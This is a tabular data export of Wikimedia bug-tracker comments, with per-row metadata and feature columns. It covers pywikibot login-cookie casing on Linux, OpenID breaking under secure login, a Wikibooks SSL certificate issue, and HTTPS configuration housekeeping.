+468079,*-login.data can have case discrepency on Linux host,,,,1433302475,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,92,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+267935,*-login.data can have case discrepency on Linux host,,,,1380948035,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+468078,*-login.data can have case discrepency on Linux host,,,,1433302468,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,92,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+267931,*-login.data can have case discrepency on Linux host,,,,1380948033,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+267925,*-login.data can have case discrepency on Linux host,"After thinking even more on this issue, even for those not using LDAP authentication \(which I would assume the majority are not using\), correct casing based on the user-config file shouldn't have undesirable effects: if you can log in with what's in the user config file then correctly saving the cookie file with that username shouldn't negatively impact anything. On the other hand if you do not save the cookie file with the same user name that is in the user-config file, but you continue to use the user-config file to generate the localPA variable, then you may have problems on case sensitive platforms.
+
+If this fix seems to difficult \(I don't believe it to be\) or you're suspicious of the logic, you may want to place a warning in the setup instructions. I've added a comment on the wiki for userconfig.py that people using \*nix systems should be aware that by default mediawiki has uppercase user names.",,,1380948031,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,5,True,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+267917,*-login.data can have case discrepency on Linux host,"After rereading the LDAP link, you're probably right in that the it's the actual mediawiki login that is forcing uppercase, nonetheless the file name that pywiki attempts to find should be case correct irrelevant of the username supplied or returned. My thought for that fix has to do with correctly saving the \*-login.data cookie with the username found in user-config.py.",,,1380948030,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+267912,*-login.data can have case discrepency on Linux host,"It has very much to do with LDAP: http://www.mediawiki.org/wiki/Extension:LDAP\_Authentication/User\_Provided\_Information\#Capitalize\_user\_name\_as\_in\_LDAP
+
+And it has very much to do with Linux: Linux path names are case sensitive. 
+
+I reported the bug as it took me time to track down and perhaps someone else who has the misfortune of dealing with it will find this helpful.
+
+The fact is that if I can login with a lower case name, and I can, then whatever pywiki stores should be in the same case, NOT what may be returned when the wiki user name is returned. The file name for \*-login.data should be the same case as what is stored in user-config.py
+
+This is just good practice, especially on a case sensitive host like Linux.
+
+Also, as mediawiki is authenticating against LDAP, whatever it stores as the username is irrelevant if it correctly authenticates. A further reason to enforce correct casing based on the user-config.py file.",,,1380948028,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,5,True,1,1,1,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0
+267906,*-login.data can have case discrepency on Linux host,"This has very little to do with Linux or LDAP, but rather has to do with the fact your username is 'James' and not 'james'. This is related to the 'first character is capitalized' convention on some wikis, but not all \(\!\).
+
+However, we could probably check whether the name has changed when the user is logged in and emit a warning when this happens \(and/or store the cookie with the username as saved in the config file, but that could have some unintended consequences\).",,,1380948026,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,5,True,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+267899,*-login.data can have case discrepency on Linux host,Quick comment: \_loadCookies\(\) is in wikipedia.py on line 5534,,,1380948024,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+56512,E:OpenID needs to work with $wgSecureLogin,"Special:OpenIDXRDS returns URLs based on $wgCanonicalServer. But when it attempts to redirect the user to these URLs, the forceHTTPS cookie kicks in and triggers a redirect to the corresponding https URL, which then fails due to loss of POST data.
+
+Chris suggests this be worked around somehow in OpenID rather than having core use a 307 redirect instead of a 302.
+
+--------------------------
+**Version**: master
+**Severity**: normal",Low,25.0,1380039540,1698244594.0,PHID-USER-uqcn2l4ng4murmyfnvyp,False,PHID-USER-j7jwnj5chzo76nqqvgqc,False,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_description,declined,True,c2,3,True,False,False,3,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+2217897,E:OpenID needs to work with $wgSecureLogin,Per {T322820}.,,,1698244594,,PHID-USER-j7jwnj5chzo76nqqvgqc,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c2,3,True,,,530,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+477200,E:OpenID needs to work with $wgSecureLogin,[Resetting task assignee to avoid cookie-licking. Please reclaim the task when you plan to actively work on this task. Thanks!],,,1434636534,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c2,3,True,,,94,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1
+258677,E:OpenID needs to work with $wgSecureLogin,"see also 
+- https://www.mediawiki.org/wiki/Thread:Extension_talk:OpenID/Return_to_Special:Badtitle_instead_of_the_main_page_after_verification_has_succeeded
+- https://www.mediawiki.org/wiki/Thread:Extension_talk:OpenID/https_site_and_Special:Badtitle
+
+which appear to be related bug reports on the extension's talk page.",,,1395817143,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c2,3,False,,,30,True,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+258673,E:OpenID needs to work with $wgSecureLogin,"(In reply to comment #5)
+> difficult issue. But let me add what I know.
+> 
+> * Since it was mentioned above, 307 redirects don't seem to work in FF or
+> Chrome for this, otherwise I'd be happy to do that in core. 
+> 
+> * The issue seems to be that when the consumer does the XRDS querries, the
+> provider gives back http:// urls, even with wgSecureLogin enabled.
+> ...
+
+> But that's about as far as I was able to get. So it may be a fix inside of
+> the library
+
+This is also my view of the story. But my current thinking is, it _could_ be fixed in the library.
+
+
+
+Only as a remark, not related to this bug:
+
+I found - and fixed in E:OpenID - already at least one other issue with the library (the library does not return a correct return value for certificate errors)",,,1380837599,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,1,1
+258668,E:OpenID needs to work with $wgSecureLogin,"I tried to hack on it for a couple hours while reviewing it, and it's a difficult issue. But let me add what I know.
+
+* Since it was mentioned above, 307 redirects don't seem to work in FF or Chrome for this, otherwise I'd be happy to do that in core. 
+
+* The issue seems to be that when the consumer does the XRDS querries, the provider gives back http:// urls, even with wgSecureLogin enabled. When it's hacked to only return https:// something else in the Auth library is failing. When I return both, it will POST to the https url, but later it gives throws an exception about a missmatch in the urls.
+
+But that's about as far as I was able to get. So it may be a fix inside of the library, or it might be a fix for the return of Special:OpenIDXRDS.",,,1380837161,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c2,3,True,,,5,True,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+258663,E:OpenID needs to work with $wgSecureLogin,"perhaps better the other way around, you are right.
+
+Can you help to fix it ?",,,1380809350,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0
+258658,E:OpenID needs to work with $wgSecureLogin,*** Bug 44353 has been marked as a duplicate of this bug. ***,,,1380809277,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+258650,E:OpenID needs to work with $wgSecureLogin,"
+
+*** This bug has been marked as a duplicate of bug 44353 ***",,,1380787870,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+258643,E:OpenID needs to work with $wgSecureLogin,"This is a problem with the id provider has $wgSecureLogin enabled. Since the WMF is running $wgSecureLogin, we need the extension to work with this in order to deploy it.",,,1380233061,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+56457,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","URL: https://zh.wikibooks.org/w/index.php?title=Special:用户登录&returnto=Wikibooks%3A首页&returntoquery=&fromhttp=1
+Browser: Google Chrome 29.0.1547.66
+OS: Microsoft Windows XP [5.1.2600]
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Low,25.0,1379900100,1419431545.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,PHID-USER-wr3pospifdaxghmtobvr,False,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_description,resolved,True,c2,3,False,False,False,3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+392732,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","resolving this for now as there's no activity and no clear action, feel free to reopen of course",,,1419431545,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c2,3,True,,,69,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+255110,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","As far as I know all the popular OS / browser combinations ship with the necessary root certificate. So it should not happen in the default state. It is expected that when the root we use is disabled or deleted then one gets a warning or error.
+
+I suspect that happened on that computer. You could check if the root is there under (from Chromium on Linux, hope this is similar for Chrome on Windows) Settings -> HTTPS/SSL: Manage certificates -> Authorities: Digicert Inc: DigiCert High Assurance EV Root CA. It should not say untrusted next to it and when you click the edit button ""Trust this certificate for identifying websites."" should be checked. (Most likely that was unchecked by another user.)
+
+Do you want to follow up on this on that public computer or one that has the same problem?
+
+If you find a configuration where that root is enabled and it doesn't work please open a new ticket. If you find a OS / browser combination that doesn't ship with this root or has it disabled per default please also report it.",,,1405166710,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c2,3,True,,,45,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1
+255105,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","(In reply to comment #7)
+> (In reply to comment #6)
+> > On that computer, the reported error was ""issuer not trusted"".
+> 
+> In that case it sounds like it is missing the root and/or intermediate cert
+> of
+> the CA, which in this case is DigiCert.
+> 
+> You could go to:
+> 
+> https://www.digicert.com/digicert-root-certificates.htm
+> 
+> and download them and install in your browser.
+> 
+> It should be 2 of them , ""DigiCert High Assurance CA-3"" (in the ""intermediate
+> cert""-section, plus the ""DigiCert High Assurance EV Root CA"".  Your browser
+> should offer some install dialog when you hit download. 
+> 
+> That should make it trust the issuer.
+
+Well that's not ""my browser"" or ""my computer"". I saw this on some public computer, and wondered whether this also happens on other OS / browsers in their default states.",,,1380558898,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c2,3,False,,,4,True,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,0,1,1,0,0,1
+255100,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","(In reply to comment #6)
+> On that computer, the reported error was ""issuer not trusted"".
+
+In that case it sounds like it is missing the root and/or intermediate cert of the CA, which in this case is DigiCert.
+
+You could go to:
+
+https://www.digicert.com/digicert-root-certificates.htm
+
+and download them and install in your browser.
+
+It should be 2 of them , ""DigiCert High Assurance CA-3"" (in the ""intermediate cert""-section, plus the ""DigiCert High Assurance EV Root CA"".  Your browser should offer some install dialog when you hit download. 
+
+That should make it trust the issuer.",,,1380558459,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c2,3,True,,,4,True,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,0,1,1,0,0,1
+255094,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","(In reply to comment #4)
+>
+> so i guess there must be some old browsers who don't look at the alt. names
+> but
+> just the main CN and then throw warnings while it isn't a problem for most
+> users.
+
+On that computer, the reported error was ""issuer not trusted"".",,,1380551783,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c2,3,False,,,4,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,1,0,1,0,1,1,0,0,0,1,1
+255089,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)",Do you actually get a browser warning? what does that look like? the cert file you uploaded also includes wikibooks.,,,1380551707,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,1,0,0,0,0,0
+255084,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","this is a certificate that has common name *.wikipedia.org but it has a lot of ""Certificate Subject Alt Name""s. So in a browser in certificate details you need to go to that section and you'll see all these.. i'm just pasting the beginning to show wikibooks.org is in it.
+
+
+DNS Name: *.wikipedia.org
+DNS Name: wikipedia.org
+DNS Name: m.wikipedia.org
+DNS Name: *.m.wikipedia.org
+DNS Name: wikibooks.org
+DNS Name: m.wikibooks.org
+DNS Name: *.wikibooks.org
+DNS Name: *.m.wikibooks.org
+...
+
+and more ..
+
+so i guess there must be some old browsers who don't look at the alt. names but just the main CN and then throw warnings while it isn't a problem for most users.",,,1380551582,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c2,3,True,,,4,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+255079,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","(In reply to comment #2)
+> How would I realize if it does not validate? Google Chrome says ""Identity
+> verified"" when clicking on the locker icon in the URL bar.
+
+It doesn't say so for me on that computer. You may need to use the same OS to reproduce it.",,,1379940712,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c2,3,False,,,3,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,0,0,1
+255074,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","How would I realize if it does not validate? Google Chrome says ""Identity verified"" when clicking on the locker icon in the URL bar.",,,1379938592,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,0
+255069,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","Created attachment 13350
+Received SSL cert
+
+**Attached**: {F11896}",,,1379900248,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c2,3,False,,,3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+55999,SSL component vs. tracking bug vs potential ssl keyword,"1. There is a ""Wikimedia > SSL related"" component in Bugzilla.
+It feels wrong as ""SSL related"" is not an ""isolatable"" part of the codebase.
+For example bug 39676 should be under ""Wikimedia > Email"" instead.
+
+2. Tracking bug 27946 had the name ""Secure Server (tracking)"" and refered to the secure.wikimedia.org URL. At some point people (ab)used it for general SSL issues and renamed to ""SSL related (tracking)"".
+
+Maybe both should be killed and turned into a ""ssl"" keyword.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Low,25.0,1378832040,1416786029.0,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-25ruekexebdkltbvcvqt,task_description,declined,True,c2,3,True,True,False,1,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+332310,SSL component vs. tracking bug vs potential ssl keyword,"Wikimedia has migrated from Bugzilla to Phabricator. Learn more about it here: https://www.mediawiki.org/wiki/Phabricator/versus_Bugzilla - This task does not make sense anymore in the concept of Phabricator, hence closing as declined.",,,1416786029,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-25ruekexebdkltbvcvqt,task_subcomment,,True,c2,3,True,,,64,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,0
+55739,wmgHTTPSBlacklistCountries changes for CN,"It was reported by users that HTTPS block in China was only for Wikipedia, thus the following change is proposed, given the current policy of having the best security while trying to keep access for logged-in users in China.
+
+'wmgHTTPSBlacklistCountries' => array(
+	'default' => array(
+		'IR', // Iran
+	),
+	'wikipedia' => array(
+		'CN', // China
+		'IR', // Iran
+	),
+),
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**See Also**:
+{T54846}
+{T66207}",Low,25.0,1378281480,1434484005.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-aswxwscnrmmqcunfrdq2,task_description,declined,True,c2,3,False,False,False,1,True,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1
+475852,wmgHTTPSBlacklistCountries changes for CN,wmgHTTPSBlacklistCountries is effectively obsolete at this point due to the conversion of everything to HTTPS.,,,1434484005,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,True,,,93,True,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+236712,wmgHTTPSBlacklistCountries changes for CN,"(In reply to Andre Klapper from comment #12)
+> Liangent: Did your ""OK"" mean ""Yes"" or ""Oh well""? :)
+
